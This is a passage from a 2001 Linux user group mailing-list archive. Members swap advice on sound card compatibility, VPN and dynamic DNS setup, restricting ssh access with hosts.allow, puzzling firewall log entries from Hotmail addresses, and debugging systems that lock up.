system. (ie xmms, etc.) It would play for about 3 seconds and then lockup hard. Even happened twice while using the SuSE sound card config utility. I down graded to 7.0 and loaded the included OSS and it works fine. Considering your suspect apps it might be sound. Although the Star Office has me stumped there. I'm not familiar with grip/lame does it use Java? Could you have a bad VM? -- Jack Ungerleider jack@jacku.com From jstauffer at spscommerce.com Thu Aug 23 07:06:07 2001 From: jstauffer at spscommerce.com (James Stauffer) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Linux-Microsoft Secure VPNs? Message-ID: <2C15A9B5B08CD511A9B40050046C0CDF30FF38@spedi-exchange> --- Jason J wrote: > Has anyone setup some sort of VPN server in linux that supports windows > clients? If so, how secure is it? > > I am in the process of setting up PopTop with the MS PPE patched ppp. Is > there a better alternative? > > Basically I want to get remote employee windows dialup clients into out > network as secure as possible. You may want to look at CIPE. http://sites.inka.de/sites/bigred/devel/cipe.html -------------- next part -------------- An HTML attachment was scrubbed... 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I did some > research, and found that TSIG with nslookup was the way to do it. > > Basically, all you do is use dnssec-keygen to generate a shared key for > the update, configure your BIND server to allow updates from that key, and > then use the 'nsupdate' command with TSIG on the client to update the IP > address. I just added that to the ifup section of my dhclient-script file. > > Really easy and simple. It's fun! > > If you guys want more details, let me know.. I'll be happy to share, but > if nobody's interested, I won't bother typing it. :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From nate at techie.com Thu Aug 23 07:29:32 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] mutt, mailboxes, HOWTO In-Reply-To: <20010823005254.A11422@real-time.com>; from tanner@real-time.com on Thu, Aug 23, 2001 at 12:52:54AM -0500 References: <20010822235514.A7595@real-time.com> <20010823003753.A15539@minime.sistina.com> <20010823005254.A11422@real-time.com> Message-ID: <20010823072932.D767@candle.mn.mediaone.net> On Thu, Aug 23, 2001 at 12:52:54AM -0500, Bob Tanner wrote: > Quoting Ben Lutgens (blutgens@sistina.com): > > Having mailboxes set allows you to open mutt with the -y switch and see all > > of the ones in your list ( i.e. th places new mails go and not all the > > places you've "s"aved mail to.) > > I guess I need to see a demo. mutt -y just gives me a blank screen (nothing > listed). "c" gives me a list of lots of stuff. It sounds like you don't have it set up right. You should have the following lines in your .muttrc: set folder="~/Mail" mailboxes =tclug-list # corresponds to ~/Mail/tclug-list subscribe tclug-list Now, when oy run `mutt -y` you should see a list of mailboxes (prefixed with '=') and your mail spool in an `ls -l` type list, unless you've customized that. Nate From drew at usfamily.net Thu Aug 23 02:32:46 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Wireless Networks in Big Trouble References: <20010822022627.F32198@real-time.com> Message-ID: <3B84B19D.F1DFEE2E@usfamily.net> Cool, sounds like a very nice and original idea. Bob Tanner wrote: > Yummy! > > http://www.wired.com/news/wireless/0,1382,46187,00.html > > Wireless networks are a little less secure today with the public release of > "AirSnort," a tool that can surreptitiously grab and analyze data moving across > just about every major wireless network. > > When enough information has been captured, AirSnort can then piece together the > system's master password. > > In other words, hackers and/or eavesdroppers using AirSnort can just grab what > they want from a company's database wirelessly, out of thin air. > > -- > Bob Tanner http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010823/892ec29f/drew.vcf From doughanson at mediaone.net Thu Aug 23 08:52:33 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Cheap sound cards References: <3B83B672.A4A2F5A7@earthlink.net> Message-ID: <005e01c12bda$de78ad00$eaaf7a81@doug> I would recommend the Sound Blaster Live, Value OEM for $59.99. It has very respectable marks, but I don't know if it is supported? Doug ----- Original Message ----- From: "Paul Rech" To: Sent: Wednesday, August 22, 2001 8:41 AM Subject: [TCLUG] Cheap sound cards > I need a new sound card. > > My 6 year old needed mine in the new family computer to play his > favorite song > over and over and over. > Smells Like Teen Spirit. Which many people think was a Nirvana song. > But really was done by the "loud guy" according to my son. > > And to digress even further, he plays it, with no help from me, in xmms > in Linux. > So much for not being desktop ready. > > Anyway, I saw a yamaha PCI 512 voice surround sound at General > Nanosystems for $27. > Which is about as much as I'd like to pay, to give you an idea of cheap. > > Couldn't find this on the new, crappier Redhat hardware list. > Nor any mention of it on deja. > > Anyone know if this works under Linux? > > Paul > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From doughanson at mediaone.net Thu Aug 23 09:02:39 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Beer Meeting Thursday the 23rd References: Message-ID: <001701c12bdc$45562ec0$eaaf7a81@doug> Jacque said: > It's because no one recommended/mentioned it until two weeks ago And to think that my wife says that I don't have any good ideas anymore ;)~ See you there... Doug ----- Original Message ----- From: "Jacqueline Urick" To: Sent: Tuesday, August 21, 2001 5:05 PM Subject: RE: [TCLUG] Beer Meeting Thursday the 23rd > > > > > > > > With GM being so close to so many people, one may wonder why is it the > > first time we have the meeting there... > > > > florin > > > > It's because no one recommended/mentioned it until two weeks ago. > > ~j > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Thu Aug 23 09:11:12 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Cheap sound cards In-Reply-To: <005e01c12bda$de78ad00$eaaf7a81@doug> Message-ID: Yeah, it's hard to beat an SB Live, esp. if you can find an OEM board, cause the boxed ones still retail for $99. And yes, they're supported. After that your best bet is something from the Ensoniq family or the latest pci offerings from Creative. Finding an Ensoniq card is hard now. Replaced by the Soundblaster PCI 64, 128, 256...whatever. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From natecars at real-time.com Thu Aug 23 09:45:38 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Dynamic DNS Under Bind9 In-Reply-To: <20010823122535.RTVC1680.mtiwmhc21.worldnet.att.net@webmail.worldnet.att.net> Message-ID: On Thu, 23 Aug 2001 scott.w.fischer@att.net wrote: > Type it up, please!! Already did.. subject of 'Signed DNS Requests'.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Thu Aug 23 09:48:10 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Linux-Microsoft Secure VPNs? In-Reply-To: <3B83E0E3.8070704@innominatus.com> Message-ID: On Wed, 22 Aug 2001, Jason J wrote: > Has anyone setup some sort of VPN server in linux that supports windows > clients? If so, how secure is it? > > I am in the process of setting up PopTop with the MS PPE patched ppp. Is > there a better alternative? It's all right, but you can do much better for security. > Basically I want to get remote employee windows dialup clients into out > network as secure as possible. Go FreeS/WAN (ipsec). You can use the built-in client on 2000/XP, and PGPnet ain't all that expensive on 95/98/NT. :) Uses X.509 keys, etc.. pretty cool. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From doug at northlandstudios.com Thu Aug 23 10:04:30 2001 From: doug at northlandstudios.com (doug) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] hotmail servers scanning... References: Message-ID: <000d01c12be4$e954c830$940f3c9e@DHENRYW2P> Are you logged on to msn messenger or logged into the hotmail service on any machine? I'm not sure if messenger uses port 25 for anything or not (believe it does), but I know it does use non-standard ports as well. I'd find it hard to believe it's trojaned and snooping you but then again it's M$ so who really knows what's going on there ;-) ----- Original Message ----- From: "Joshua b. Jore" To: Sent: Wednesday, August 22, 2001 8:03 PM Subject: [TCLUG] hotmail servers scanning... > Just a general issue, I've noticed a few IPs from the hotmail.com IP range > doing some curious scanning. The same IP will try several times to connect to > a specific high port and it's always sourced from the smtp port. > > I'm including a grep from my firewall log where it shows the hotmail IP, the > source port, the destination port (where I blocked the access) and how many > times the hotmail IP tried. So what's going on? Is hotmail trojaned or > something? Am I just missing something important here? > > 64.4.55.73 25 8546 6 > 64.4.55.171 25 10273 6 > 64.4.42.33 25 18839 11 > 64.4.49.144 25 44093 11 > 64.4.56.229 25 42600 7 > 64.4.56.203 25 11097 6 > 64.4.56.176 25 21336 5 > 64.4.55.20 25 40832 10 > 64.4.55.155 25 47103 11 > 64.4.42.30 25 29489 11 > 64.4.50.13 25 48844 11 > 64.4.56.226 25 23369 6 > > Joshua Jore > Minneapolis Ward 3, precinct 10 > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speech is simply staggering." - someone else > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From josh at greentechnologist.org Thu Aug 23 05:32:40 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: <000d01c12be4$e954c830$940f3c9e@DHENRYW2P> Message-ID: Nope, the box getting the connections is MS-free. The only reason hotmail shoudl be talking to my box is to deliver mail or do DNS in the service of mail. In that case I should see connections *to* ports 25 and 53, not *from* 25. It's an idea tho. I just don't use MSN Messenger. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Thu, 23 Aug 2001, doug wrote: > Are you logged on to msn messenger or logged into the hotmail service on any > machine? I'm not sure if messenger uses port 25 for anything or not (believe > it does), but I know it does use non-standard ports as well. I'd find it > hard to believe it's trojaned and snooping you but then again it's M$ so who > really knows what's going on there ;-) > ----- Original Message ----- > From: "Joshua b. Jore" > To: > Sent: Wednesday, August 22, 2001 8:03 PM > Subject: [TCLUG] hotmail servers scanning... > > > > Just a general issue, I've noticed a few IPs from the hotmail.com IP range > > doing some curious scanning. The same IP will try several times to connect > to > > a specific high port and it's always sourced from the smtp port. > > > > I'm including a grep from my firewall log where it shows the hotmail IP, > the > > source port, the destination port (where I blocked the access) and how > many > > times the hotmail IP tried. So what's going on? Is hotmail trojaned or > > something? Am I just missing something important here? > > > > 64.4.55.73 25 8546 6 > > 64.4.55.171 25 10273 6 > > 64.4.42.33 25 18839 11 > > 64.4.49.144 25 44093 11 > > 64.4.56.229 25 42600 7 > > 64.4.56.203 25 11097 6 > > 64.4.56.176 25 21336 5 > > 64.4.55.20 25 40832 10 > > 64.4.55.155 25 47103 11 > > 64.4.42.30 25 29489 11 > > 64.4.50.13 25 48844 11 > > 64.4.56.226 25 23369 6 > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From fritchie at mr.net Thu Aug 23 10:24:57 2001 From: fritchie at mr.net (Scott Lystig Fritchie) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? In-Reply-To: Message of "Wed, 22 Aug 2001 21:52:50 CDT." <20010822215250.A30543@monsoon.msi.umn.edu> Message-ID: <200108231525.f7NFOvs50475@snookles.snookles.com> >>>>> "gt" == Gabe Turner writes: gt> Well, I just followed your own footnote, clicked on "How to Buy", gt> clicked on "Kinesis Resellers", scrolled down to Minnesota and gt> found this: Well, that's faintly embarrassing. :-) Thanks for the pointer. -Scott From kethry at winternet.com Thu Aug 23 10:34:09 2001 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:26:44 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: Message-ID: Hey, Josh - I don't know if this means anything, but while I was working on locking down SMTP over here, we were alerted to the problem because earthlink was doing scans to make sure we didn't have any open SMTP relays - not always on the standard port...perhaps hotmail's doing the same thing OR someone going through hotmail is trying to find an opening to spam from? Liz On Thu, 23 Aug 2001, Joshua b. Jore wrote: > Nope, the box getting the connections is MS-free. The only reason hotmail shoudl be talking to my box is to deliver mail or do DNS in the service of mail. In that case I should see connections *to* ports 25 and 53, not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > Joshua Jore > Minneapolis Ward 3, precinct 10 > "The irony of this man being imprisoned in the United States and longing > to return to once-Communist Russia so he can regain his right to free > speech is simply staggering." - someone else > > On Thu, 23 Aug 2001, doug wrote: > > > Are you logged on to msn messenger or logged into the hotmail service on any > > machine? I'm not sure if messenger uses port 25 for anything or not (believe > > it does), but I know it does use non-standard ports as well. I'd find it > > hard to believe it's trojaned and snooping you but then again it's M$ so who > > really knows what's going on there ;-) > > ----- Original Message ----- > > From: "Joshua b. Jore" > > To: > > Sent: Wednesday, August 22, 2001 8:03 PM > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com IP range > > > doing some curious scanning. The same IP will try several times to connect > > to > > > a specific high port and it's always sourced from the smtp port. > > > > > > I'm including a grep from my firewall log where it shows the hotmail IP, > > the > > > source port, the destination port (where I blocked the access) and how > > many > > > times the hotmail IP tried. So what's going on? Is hotmail trojaned or > > > something? Am I just missing something important here? > > > > > > 64.4.55.73 25 8546 6 > > > 64.4.55.171 25 10273 6 > > > 64.4.42.33 25 18839 11 > > > 64.4.49.144 25 44093 11 > > > 64.4.56.229 25 42600 7 > > > 64.4.56.203 25 11097 6 > > > 64.4.56.176 25 21336 5 > > > 64.4.55.20 25 40832 10 > > > 64.4.55.155 25 47103 11 > > > 64.4.42.30 25 29489 11 > > > 64.4.50.13 25 48844 11 > > > 64.4.56.226 25 23369 6 > > > > > > Joshua Jore > > > Minneapolis Ward 3, precinct 10 > > > "The irony of this man being imprisoned in the United States and longing > > > to return to once-Communist Russia so he can regain his right to free > > > speech is simply staggering." - someone else > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From colin at tyr.med.umn.edu Thu Aug 23 10:39:12 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Check out my computers for sale In-Reply-To: <01082306222000.01848@geezer> Message-ID: check out the machines I have on sale! There's an indy in the bunch, if your still looking for one. http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi Thanks! Colin From scott.w.fischer at att.net Thu Aug 23 10:46:08 2001 From: scott.w.fischer at att.net (scott.w.fischer@att.net) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Dynamic DNS Under Bind9 Message-ID: <20010823154609.URKU28026.mtiwmhc25.worldnet.att.net@webmail.worldnet.att.net> Yep, I saw that. Must finish reading all mail before responding -swf -- "Don't pray when it rains if you don't pray when the sun shines." - Satchel Paige > On Thu, 23 Aug 2001 scott.w.fischer@att.net wrote: > > Type it up, please!! > > Already did.. subject of 'Signed DNS Requests'.. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Thu Aug 23 10:51:13 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] /etc/hosts: verify by forward dns Message-ID: Is there any way to configure /etc/hosts so it will do a forward dns lookup on a name, but _not_ verify reverse? Using dynamic dns for my box at home, and it'd be nice to be able to lock down ssh on my personal web server here.. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From troy.johnson at health.state.mn.us Thu Aug 23 11:03:31 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] learning Kylix by learning Delphi Message-ID: MS: I think they were originally going to call their development arm the "API-of-the-Month Club", but decided against that because it was too descriptive. >>> eng@pinenet.com 08/22/01 05:48AM >>> M$ has never been consistent in its programming environment. Qbasic, QuickBasic, QuickC, C, Visual Basic, Visual Basic for Applications, Visual C, Visual Java, Front Page, are all very different even from version to version. M$ planned obsolescence has destabilized the industry. From list at slushpupie.com Thu Aug 23 11:11:19 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] /etc/hosts: verify by forward dns In-Reply-To: Message-ID: Id say the best option is to not use /etc/hosts Only have the hostname and localhost entries in it, and use DNS for the rest. -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Nate Carlson Sent: Thursday, August 23, 2001 10:51 AM To: Twin Cities Linux User Group Subject: [TCLUG] /etc/hosts: verify by forward dns Is there any way to configure /etc/hosts so it will do a forward dns lookup on a name, but _not_ verify reverse? Using dynamic dns for my box at home, and it'd be nice to be able to lock down ssh on my personal web server here.. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Thu Aug 23 11:21:09 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] /etc/hosts: verify by forward dns In-Reply-To: Message-ID: On Thu, 23 Aug 2001, Jay Kline wrote: > Id say the best option is to not use /etc/hosts Only have the hostname and > localhost entries in it, and use DNS for the rest. ugh, hosts.allow.. my brain is fried. :) recap: i prefer not to allow just anyone to ssh to my box, so do a: sshd: ALL in /etc/hosts.deny and then a: sshd: host.name in /hosts.allow, but since it's dynamic dns, forward/reverse don't match for my home ip, so i want to know if there's a way to have it do a dns lookup on the forward address (in /etc/hosts.allow), take that ip, and allow it.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From michael at mimbach.com Thu Aug 23 11:16:39 2001 From: michael at mimbach.com (Michael James Mimbach II) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Debian router not responding every 3-8 hours for 3-4 minutes References: Message-ID: <000901c12bee$fdc15040$0b0a800a@xtratyme.com> We have a Debian box(2.45 kernel) we built to route traffic for our customers and we are seeing drop outs. Any ssh sessions I have are non-responive, it will not respond to pings, and will not pass any traffic. This seems to happen a few times a day (not at the same times either). We lose complete conectivity for the entire duration about 3-4 minutes. I have checked cron and looked at all logs. I see nothing out of the ordinary. The box generally passes a consistant 1.8 - 4Mb. Any body have any ideas? Michael J. Mimbach II KC0JRE michael@mimbach.com Senior RF/Network Engineer From clay at fandre.com Thu Aug 23 11:41:20 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Cheap sound cards In-Reply-To: <3B83B672.A4A2F5A7@earthlink.net> References: <3B83B672.A4A2F5A7@earthlink.net> Message-ID: <20010823114118.D29406@fandre.com> Not sure what chipset the yamaha is, but you can get a list of the cards alsa supports here: http://www.alsa-project.org/~goemon/ Paul Rech [rechpj@earthlink.net] wrote: > I need a new sound card. > > My 6 year old needed mine in the new family computer to play his > favorite song > over and over and over. > Smells Like Teen Spirit. Which many people think was a Nirvana song. > But really was done by the "loud guy" according to my son. > > And to digress even further, he plays it, with no help from me, in xmms > in Linux. > So much for not being desktop ready. > > Anyway, I saw a yamaha PCI 512 voice surround sound at General > Nanosystems for $27. > Which is about as much as I'd like to pay, to give you an idea of cheap. > > Couldn't find this on the new, crappier Redhat hardware list. > Nor any mention of it on deja. > > Anyone know if this works under Linux? > > Paul > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lbehrens at boolion.com Thu Aug 23 11:44:58 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? Message-ID: Try these guys... CSI Ergonomics 400 First Avenue North, Suite 210, Minneapolis MN 55401 Tel: 612-375-0034 Fax: 612-375-0134 Lee Behrens From: Scott Lystig Fritchie Date: Wed, 22 Aug 2001 17:34:36 -0500 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? The last time I bought a Kinesis[1] keyboard (five years ago?), I got it from Clinical Supply, located in the Minneapolis warehouse district. Though I haven't tried a "real" phone book, Qwestdex doesn't have a listing for CS anymore. Does anyone know of another Kinesis dealer in the Twin Cities? -Scott [1] http://www.kinesis-ergo.com/ From lbehrens at boolion.com Thu Aug 23 11:47:36 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:26:45 2005 Subject: FW: [TCLUG] Kinesis keyboard dealer in the Twin Cities? Message-ID: Sorry, didn't mean to rub it in.... I didn't see the follow up to your posting. Lee Behrens -----Original Message----- From: Lee J. Behrens Sent: Thursday, August 23, 2001 11:45 AM To: 'tclug-list@mn-linux.org' Subject: RE: [TCLUG] Kinesis keyboard dealer in the Twin Cities? Try these guys... CSI Ergonomics 400 First Avenue North, Suite 210, Minneapolis MN 55401 Tel: 612-375-0034 Fax: 612-375-0134 Lee Behrens From: Scott Lystig Fritchie Date: Wed, 22 Aug 2001 17:34:36 -0500 Subject: [TCLUG] Kinesis keyboard dealer in the Twin Cities? The last time I bought a Kinesis[1] keyboard (five years ago?), I got it from Clinical Supply, located in the Minneapolis warehouse district. Though I haven't tried a "real" phone book, Qwestdex doesn't have a listing for CS anymore. Does anyone know of another Kinesis dealer in the Twin Cities? -Scott [1] http://www.kinesis-ergo.com/ From tmechanic at mn.mediaone.net Wed Aug 22 12:02:05 2001 From: tmechanic at mn.mediaone.net (B T) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux References: <20010821214759.8277.qmail@web13005.mail.yahoo.com> <3B82DDB6.BA22D676@sgi.com> Message-ID: <3B83E58D.CEA8AE63@mn.mediaone.net> If you need it I have an old Cisco 675 I'm not using, I'll let it go cheap From bbaptist at iexposure.com Thu Aug 23 13:56:41 2001 From: bbaptist at iexposure.com (Bret Baptist) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Intel 3200 DSL modem with Linux In-Reply-To: <3B83E58D.CEA8AE63@mn.mediaone.net> References: <20010821214759.8277.qmail@web13005.mail.yahoo.com> <3B82DDB6.BA22D676@sgi.com> <3B83E58D.CEA8AE63@mn.mediaone.net> Message-ID: <200108231953.f7NJrNl18334@destiny.iexposure.com> If this is a new connection the line is a DMT line not CAP. More than likely if he is using a 3200 it is probably using DMT for the line protocol. The 675 can only do CAP. So I don't think that it would work for him. On Wednesday 22 August 2001 01:02 pm, you wrote: > If you need it I have an old Cisco 675 I'm not using, I'll let it go > cheap > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Bret Baptist Systems and Technical Support Specialist bbaptist@iexposure.com Internet Exposure, Inc. http://www.iexposure.com (612)676-1946 Web Development-Web Marketing-ISP Services From tanner at real-time.com Thu Aug 23 14:59:53 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] Box of hangs/crashes In-Reply-To: <01082306222000.01848@geezer>; from jack@jacku.com on Thu, Aug 23, 2001 at 06:22:20AM -0500 References: <20010823033937.A21322@real-time.com> <01082306222000.01848@geezer> Message-ID: <20010823145953.J17642@real-time.com> Quoting Jack Ungerleider (jack@jacku.com): > Considering your suspect apps it might be sound. Although the Star Office has > me stumped there. I'm not familiar with grip/lame does it use Java? Could you > have a bad VM? grip is a cd ripper and lame is a mp3 encoder. So, it might be sound, but xmms works fine. I guess I'm looking for more ideas on debugging a system that locks hard. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From josh at greentechnologist.org Thu Aug 23 10:12:57 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:45 2005 Subject: [TCLUG] hotmail servers scanning... In-Reply-To: Message-ID: Hmm... I wouldn't think Hotmail would portscan unrelated IPs to find SMTP relays on wierd ports. Or did Hotmail turn into an ISP when I wasn't watching? It's just wierdly coordinated - all these different IPs within the same ARIN block 64.0.0 - 64.4.63.255 looking at random ports. Dshield hasn't recognized any IPs I've fed it so I'm not sure what to make of it. I might just phone the contact for the ARIN block at Hotmail and see if he knows what's going on. Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else On Thu, 23 Aug 2001, Liz Burke-Scovill wrote: > > Hey, Josh - > > I don't know if this means anything, but while I was working on locking > down SMTP over here, we were alerted to the problem because earthlink was > doing scans to make sure we didn't have any open SMTP relays - not always > on the standard port...perhaps hotmail's doing the same thing OR someone > going through hotmail is trying to find an opening to spam from? > > Liz > > On Thu, 23 Aug 2001, Joshua b. Jore wrote: > > > Nope, the box getting the connections is MS-free. The only reason hotmail shoudl be talking to my box is to deliver mail or do DNS in the service of mail. In that case I should see connections *to* ports 25 and 53, not *from* 25. It's an idea tho. I just don't use MSN Messenger. > > > > Joshua Jore > > Minneapolis Ward 3, precinct 10 > > "The irony of this man being imprisoned in the United States and longing > > to return to once-Communist Russia so he can regain his right to free > > speech is simply staggering." - someone else > > > > On Thu, 23 Aug 2001, doug wrote: > > > > > Are you logged on to msn messenger or logged into the hotmail service on any > > > machine? I'm not sure if messenger uses port 25 for anything or not (believe > > > it does), but I know it does use non-standard ports as well. I'd find it > > > hard to believe it's trojaned and snooping you but then again it's M$ so who > > > really knows what's going on there ;-) > > > ----- Original Message ----- > > > From: "Joshua b. Jore" > > > To: > > > Sent: Wednesday, August 22, 2001 8:03 PM > > > Subject: [TCLUG] hotmail servers scanning... > > > > > > > > > > Just a general issue, I've noticed a few IPs from the hotmail.com IP range > > > > doing some curious scanning. The same IP will try several times to connect > > > to > > > > a specific high port and it's always sourced from the smtp port. > > > > > > > > I'm including a grep from my firewall log where it shows the hotmail IP, > > > the > > > > source port, the destination port (where I blocked the access) and how > > > many > > > > times the hotmail IP tried. So what's going on? Is hotmail trojaned or > > > > something? Am I just missing something important here? > > > > > > > > 64.4.55.73 25 8546 6 > > > > 64.4.55.171 25 10273 6 > > > > 64.4.42.33 25 18839 11 > > > > 64.4.49.144 25 44093 11 > > > > 64.4.56.229 25 42600 7 > > > > 64.4.56.203 25 11097 6 > > > > 64.4.56.176 25 21336 5 > > > > 64.4.55.20 25 40832 10 > > > > 64.4.55.155 25 47103 11 > > > > 64.4.42.30 25 29489 11 > > > > 64.4.50.13 25 48844 11 > > > > 64.4.56.226 25 23369 6 > > > > > > > > Joshua Jore > > > > Minneapolis Ward 3, precinct 10 > > > > "The irony of this man being imprisoned in the United States and longing > > > > to return to once-Communist Russia so he can regain his right to free > > > > speech is simply staggering." - someone else > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@mn-linux.org > > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > -- > Imagination is intelligence having fun... > e-mail: kethry@winternet.com > URL: http://WWW.winternet.com/~kethry/index.html > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From hick0088 at tc.umn.edu Thu Aug 23 15:48:48 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:46 2005 Subject: [TCLUG] Box of hangs/crashes In-Reply-To: <20010823145953.J17642@real-time.com> References: <20010823033937.A21322@real-time.com> <01082306222000.01848@geezer> <20010823145953.J17642@real-time.com> Message-ID: <20010823154848.562ab435.hick0088@tc.umn.edu> Bob Tanner wrote: > > grip is a cd ripper and lame is a mp3 encoder. > > So, it might be sound, but xmms works fine. Ripping has nothing to do with sound, though all of those actions you described earlier involve heavy disk I/O, and possibly high CPU usage as well. > I guess I'm looking for more ideas on debugging a system that locks > hard. If you have the necessary hardware available, run your console over the serial port. You might also get important messages to print out if you're running framebuffer console and X on the framebuffer. Side thought.. I wonder if it would be possible for the XFree folks to talk to the kernel folks to find a way to tell the kernel what it has to do to flip the display back to text to print 